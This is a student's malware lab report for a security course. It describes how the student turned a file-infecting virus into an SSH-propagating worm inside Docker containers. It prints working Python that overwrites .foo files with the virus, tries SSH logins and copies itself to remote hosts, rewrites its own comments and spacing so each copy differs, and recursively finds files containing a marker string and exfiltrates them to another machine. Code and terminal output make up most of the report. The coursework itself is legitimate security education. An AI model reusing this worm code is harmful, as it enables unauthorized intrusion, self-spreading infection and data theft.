CSE 406
Malware Offline Report

When AbraWorm.py runs in debug mode 0, it randomly generates username, password and ip address and tries to connect to a remote host using them.

But for demonstration purposes, we will do the tasks in debug mode 1, where we manually insert some valid username, password and ip address of a remote host.

Selecting debug mode 1

```
debug = 1       # IMPORTANT:  Before changing this setting, read the last
                #             paragraph of the main comment block above. As
                #             mentioned there, you need to provide two IP
                #             addresses in order to run this code in debug
                #             mode.
```

Manually inserting known username, password and ip address of a remote host

```
def get_new_usernames(how_many):
    if debug: return ['root']      # need a working username for debugging
    if how_many == 0: return 0
    selector = "{0:03b}".format(random.randint(0,7))
    usernames = [''.join(map(lambda x: random.sample(trigrams,1)[0]
          if int(selector[x]) == 1 else random.sample(digrams,1)[0], range(3))) for x in range(how_many)]
    return usernames

def get_new_passwds(how_many):
    if debug: return ['mypassword']      # need a working username for debugging
    if how_many == 0: return 0
    selector = "{0:03b}".format(random.randint(0,7))
    passwds = [ ''.join(map(lambda x:  random.sample(trigrams,1)[0] + (str(random.randint(0,9))
                if random.random() > 0.5 else '') if int(selector[x]) == 1
                        else random.sample(digrams,1)[0], range(3))) for x in range(how_many)]
    return passwds

def get_fresh_ipaddresses(how_many):
    if debug: return ['172.17.0.4', '172.17.0.5']
                    # Provide one or more IP address that you
                    # want `attacked' for debugging purposes.
                    # The usrname and password you provided
                    # in the previous two functions must
                    # work on these hosts.
```

Task 1

For task 1, we need to incorporate networking code in our FooVirus.py file, so that foo virus turns into a worm. We incorporate networking code from Abraworm.py. Now our foo virus not only infects the .foo files of the current directory of the host machine, but also hops into other machines when it is executed.

Our foo worm will not infect the .foo files of the remote machine that it hops into until it is executed in the remote machine.

Code snippet for attacking .foo files

```python
# Here we will corrupt the .foo files of our host machine
print("""\nHELLO FROM FooWorm\n\n
This is a demonstration of how easy it is to write
a self-replicating program. This worm will infect
all files with names ending in .foo in the directory in
which you execute an infected file.  If you send an
infected file to someone else and they execute it, their,
foo files will be damaged also.

This worm hops into other machines also, but does not corrupt the foo files of that machine until this worm
      is executed in that machine.\n\n""")
IN = open(sys.argv[0], 'r')
virus = [line for (i,line) in enumerate(IN) if i < 225]

for item in glob.glob("*.foo"):
    IN = open(item, 'r')
    all_of_it = IN.readlines()
    IN.close()
    if any('foovirus' in line for line in all_of_it): continue
    os.chmod(item, 0o777)
    OUT = open(item, 'w')
    OUT.writelines(virus)
    all_of_it = ['#' + line for line in all_of_it]
    OUT.writelines(all_of_it)
    OUT.close()
```

Code snippet for deposit the worm in remote machine

```python
while True:
    usernames = get_new_usernames(NUSERNAMES)
    passwds =   get_new_passwds(NPASSWDS)
#    print("usernames: %s" % str(usernames))
#    print("passwords: %s" % str(passwds))
    # First loop over passwords
    for passwd in passwds:
        # Then loop over user names
        for user in usernames:
            # And, finally, loop over randomly chosen IP addresses
            for ip_address in get_fresh_ipaddresses(NHOSTS):
                print("\nTrying password %s for user %s at IP address: %s" % (passwd,user,ip_address))
                files_of_interest_at_target = []
                try:
                    ssh = paramiko.SSHClient()
                    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                    ssh.connect(ip_address,port=22,username=user,password=passwd,timeout=5)
                    print("\n\nconnected\n")
                    # Let's make sure that the target host was not previously
                    # infected:
                    received_list = error = None
                    stdin, stdout, stderr = ssh.exec_command('ls')
                    error = stderr.readlines()
                    if error:
                        print(error)
                    received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
                    print("\n\noutput of 'ls' command: %s" % str(received_list))
                    if ''.join(str(received_list)).find('1805061_1.py') >= 0:
                        print("\nThe target machine is already infected\n")
                        continue
                    # Now deposit a copy of 1805061_1.py at the target host:
                    scpcon = scp.SCPClient(ssh.get_transport())
                    scpcon.put(sys.argv[0])
                    scpcon.close()
                except:
                    continue
    if debug: break
```

Here, In line 143, we check if the remote machine is already infected or not. If the remote machine is not already infected, in line 148 we send this malware file to the remote machine.

Before Executing the Attack

Non-infected foo file in cwd

```
seed@VM: ~/offline2
[08/03/23]seed@VM:~/offline2$ touch test.foo
[08/03/23]seed@VM:~/offline2$ echo "this file will be infected by foo worm" > te
st.foo
[08/03/23]seed@VM:~/offline2$ cat test.foo
this file will be infected by foo worm
[08/03/23]seed@VM:~/offline2$
```

Worm-free remote machines

```
[08/03/23]seed@VM:~/offline2$ docksh 3c
root@3c74990d4d49:/# cd root
root@3c74990d4d49:~# ls
root@3c74990d4d49:~# exit
exit
[08/03/23]seed@VM:~/offline2$ docksh 67
root@675ea8d2ed8c:/# cd root
root@675ea8d2ed8c:~# ls
root@675ea8d2ed8c:~# exit
exit
```

After Executing the Attack

Infected foo file in cwd of host machine

```
test.foo > ...
122     for passwd in passwds:
123         # Then loop over user names
124         for user in usernames:
125             # And, finally, loop over randomly chosen IP addresses
126             for ip_address in get_fresh_ipaddresses(NHOSTS):
127                 print("\nTrying password %s for user %s at IP address: %s" % (passwd,user,ip_address))
128                 files_of_interest_at_target = []
129                 try:
130                     ssh = paramiko.SSHClient()
131                     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
132                     ssh.connect(ip_address,port=22,username=user,password=passwd,timeout=5)
133                     print("\n\nconnected\n")
134                     # Let's make sure that the target host was not previously
135                     # infected:
136                     received_list = error = None
137                     stdin, stdout, stderr = ssh.exec_command('ls')
138                     error = stderr.readlines()
139                     if error:
140                         print(error)
141                     received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
142                     print("\n\noutput of 'ls' command: %s" % str(received_list))
143                     if ''.join(str(received_list)).find('1805061_1.py') >= 0:
144                         print("\nThe target machine is already infected\n")
145                         continue
146                     # Now deposit a copy of 1805061_1.py at the target host:
147                     scpcon = scp.SCPClient(ssh.get_transport())
148                     scpcon.put(sys.argv[0])
149                     scpcon.close()
150                 except:
151                     continue
152     if debug: break
153 #this file will be infected by foo worm
```

test.foo is replaced by code of FooWorm and previous content of that file is commented out and concatenated at the end of the file (line 153).

Presence of the worm in remote machine

```
[08/03/23]seed@VM:~/offline2$ docksh 3c
root@3c74990d4d49:/# cd root
root@3c74990d4d49:~# ls
1805061_1.py
root@3c74990d4d49:~# exit
exit
[08/03/23]seed@VM:~/offline2$ docksh 67
root@675ea8d2ed8c:/# cd root
root@675ea8d2ed8c:~# ls
1805061_1.py
root@675ea8d2ed8c:~# exit
exit
```

Executing an Infected Foo File

A new directory with an infected foo file and a non-infected foo file

```
[08/03/23]seed@VM:~/offline2$ mkdir testdir
[08/03/23]seed@VM:~/offline2$ mv test.foo testdir
[08/03/23]seed@VM:~/offline2$ cd testdir
[08/03/23]seed@VM:~/.../testdir$ ls
test.foo
[08/03/23]seed@VM:~/.../testdir$ echo "This file will get infected from previous
ly infected foo worm" > new.foo
[08/03/23]seed@VM:~/.../testdir$ cat new.foo
This file will get infected from previously infected foo worm
[08/03/23]seed@VM:~/.../testdir$ python3 test.foo

HELLO FROM FooWorm
```

Non-infected foo file getting infected after executing the infected foo file

```
testdir > new.foo > ...
                    ssh.connect(ip_address,port=22,username=user,password=passwd,timeout=5)
                    print("\n\nconnected\n")
                    # Let's make sure that the target host was not previously
                    # infected:
                    received_list = error = None
                    stdin, stdout, stderr = ssh.exec_command('ls')
                    error = stderr.readlines()
                    if error:
                        print(error)
                    received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
                    print("\n\noutput of 'ls' command: %s" % str(received_list))
                    if ''.join(str(received_list)).find('1805061_1.py') >= 0:
                        print("\nThe target machine is already infected\n")
                        continue
                    # Now deposit a copy of 1805061_1.py at the target host:
                    scpcon = scp.SCPClient(ssh.get_transport())
                    scpcon.put(sys.argv[0])
                    scpcon.close()
                except:
                    continue
    if debug: break
#this file will be infected by foo worm
#This file will get infected from previously infected foo worm
```

Task 2

In this task we have to modify AbraWorm.py so that no two copies that are deposited to the remote host are the same.
For this purpose, new line characters are added/removed from a randomly chosen set of lines and randomly chosen comment boxes are replaced with random commented strings.

Code snippet for file modification

```
211 # Now deposit a modified copy of 1805061_2.py at the target host:
212 IN = open(sys.argv[0], 'r')
213 lines = []
214 lines = IN.readlines()
215 new_lines = ""
216 for line in lines:
217     r = random.random()
218     if line[0] == '#' and r <0.1:
219         new_lines +='#'+''.join(random.choices(string.ascii_letters + string.digits, k=random.randint(10,100)))+'\n'
220         continue
221     elif line[0] == '\n' and r<0.5:
222         continue
223     elif r<0.1:
224         new_lines += "\n"
225     new_lines += line
226
227 OUT = open(sys.argv[0], 'w')
228 OUT.writelines(new_lines)
229 OUT.close()
230 scpcon.put(sys.argv[0])
231 scpcon.close()
232 # Put the original copy in the original host
233 OUT = open(sys.argv[0], 'w')
234 OUT.writelines(lines)
235 OUT.close()
```

Here in line 218-220, we replaced a comment block with a randomly generated comment block based on a probability. In line 221-222 we removed a new line and in line 223-224, we added a new line based on a probability. In line 228, we replace our original file with modified content and in line 230 we put the modified file in the remote host. Again in line 234, we restore the original file in our host machine.

In task 2, when we execute the worm, it connects with a remote host with ip 172.17.0.2 and puts the worm in the root and exports all file in the root which contain “abracadarba” to another remote host with ip 172.17.0.3.

Before Executing the Attack

Root of remote host with ip 172.17.0.2

```
[08/03/23]seed@VM:~/offline2$ docksh 24
root@24e8d20b528d:/# cd root
root@24e8d20b528d:~# ls
file1.txt  file2.txt  test
root@24e8d20b528d:~#
```

Both “file1.txt” and “file2.txt” contain “abracadabra”.

Root of remote host with ip 172.17.07.3

```
[08/03/23]seed@VM:~/offline2$ docksh c4
root@c430a98bb723:/# cd root
root@c430a98bb723:~# ls
root@c430a98bb723:~#
```

Currently empty.

After Executing the Attack

Root of remote host with ip 172.17.0.2

```
root@24e8d20b528d:~# ls
1805061_2.py  file1.txt  file2.txt  test
root@24e8d20b528d:~# cat 1805061_2.py
#!/usr/bin/env python
#TYYvp0GVEZYanj4rY8AP73kF09rS6cb9SJPbolJqBXllYynMmWd8bBxR0Z962T1Z0ULys21yRcoTuCU
J9TW7J6oKdJSwoqcOiayv

### Author: Avi kak (kak@purdue.edu)
### Date:   April 8, 2016; Updated April 6, 2022

##  This is a harmless worm meant for educational purposes only.  It can
##  only attack machines that run SSH servers and those too only under
##  very special conditions that are described below. Its primary features
#u9OZWHiwXyMmPkUHExfHkfmwJVvH9uXCZdFzRwHvJ95ISf7FpVzVu6oWkvLKFrA
##
##  -- It tries to break in with SSH login into a randomly selected set of
#RdT4qu1KulsrMZn7bRnPQ5KP5
##     chosen set of passwords.
##
##  -- If it can break into a host, it looks for the files that contain the
##     string `abracadabra'.  It downloads such files into the host where
##     the worm resides.
##
##  -- It uploads the files thus exfiltrated from an infected machine to a
```

We can see that “1805061_2.py” is deposited in this remote host. But this is a modified version of the original “1805061_2.py” as we can see some random comments as well as some random new lines added here and there.

Root of remote host with ip 172.17.07.3

```
root@c430a98bb723:~# ls
file1.txt  file2.txt
root@c430a98bb723:~# cat file1.txt
abracadabra for file1
root@c430a98bb723:~# cat file2.txt
abracadabra for file2
root@c430a98bb723:~#
```

“file1.txt” and “file2.txt” are transferred into this remote host as we expected.

To ensure that the altered version of the code is logically and syntactically correct, the altered code is further run and it runs correctly.

```
root@24e8d20b528d:~# python3 1805061_2.py

Trying password mypassword for user root at IP address: 172.17.0.2
/usr/lib/python3/dist-packages/Crypto/Cipher/blockalgo.py:141: FutureWarning: CT
R mode needs counter parameter, not IV
  self._cipher = factory.new(key, *args, **kwargs)


connected



output of 'ls' command: [b'1805061_2.py\n', b'file1.txt\n', b'file2.txt\n', b'te
st\n']

The target machine is already infected

root@24e8d20b528d:~#
```

Task 3

In task 3, we need to modify our worm so that it descends down the directory structure of the root of the remote machine and examines the files at every level and checks for files which contain “abracadabra”.

Code snippet for checking files recursively from root of a remote machine

```
196                 # Now let's look for files that contain the string 'abracadabra'
197                 cmd = 'grep -ls -r abracadabra *'
198                 stdin, stdout, stderr = ssh.exec_command(cmd)
199                 error = stderr.readlines()
200                 if error:
201                     print(error)
202                     continue
203                 received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
204                 for item in received_list:
205                     files_of_interest_at_target.append(item.strip())
206                 print("\nfiles of interest at the target: %s" % str(files_of_interest_at_target))
207                 scpcon = scp.SCPClient(ssh.get_transport())
208                 if len(files_of_interest_at_target) > 0:
209                     for target_file in files_of_interest_at_target:
210                         scpcon.get(target_file)
```

Here in line 198, we recursively find the files which contain “abracadabra”

Code snippet for exfiltrating files into another remote machine

```
254                 for filename in files_of_interest_at_target:
255                     scpcon.put(filename.split(b'/')[-1])
256                 scpcon.close()
```

In line 255 we extracted the file name only from the complete path because in our local machine files are saved only by file names.

Before Executing the Attack

Root of machine with ip 172.17.0.2

```
root@24e8d20b528d:~# grep -ls -r "abracadabra"
test/test2/file4.txt
test/file3.txt
file1.txt
file2.txt
.bash_history
root@24e8d20b528d:~#
```

We can see, all files that contain “abracadabra” at every level are listed.

Root of machine with ip 172.17.0.3

```
root@c430a98bb723:~# ls
root@c430a98bb723:~#
```

Currently empty.

After Executing the Attack

cwd of local machine

```
[08/03/23]seed@VM:~/offline2$ ls
1805061_1.py  1805061_3.py  file2.txt  file4.txt
1805061_2.py  file1.txt     file3.txt  testdir
[08/03/23]seed@VM:~/offline2$
```

Files from ip 172.17.0.2 are transferred here.

Root of machine with ip 172.17.0.2

```
root@24e8d20b528d:~# ls
1805061_3.py  file1.txt  file2.txt  test
root@24e8d20b528d:~#
```

“1805061_3.py” is transferred from the local host.

Transferred files in root of machine with ip 172.17.0.3

```
root@c430a98bb723:~# ls
file1.txt  file2.txt  file3.txt  file4.txt
root@c430a98bb723:~#
```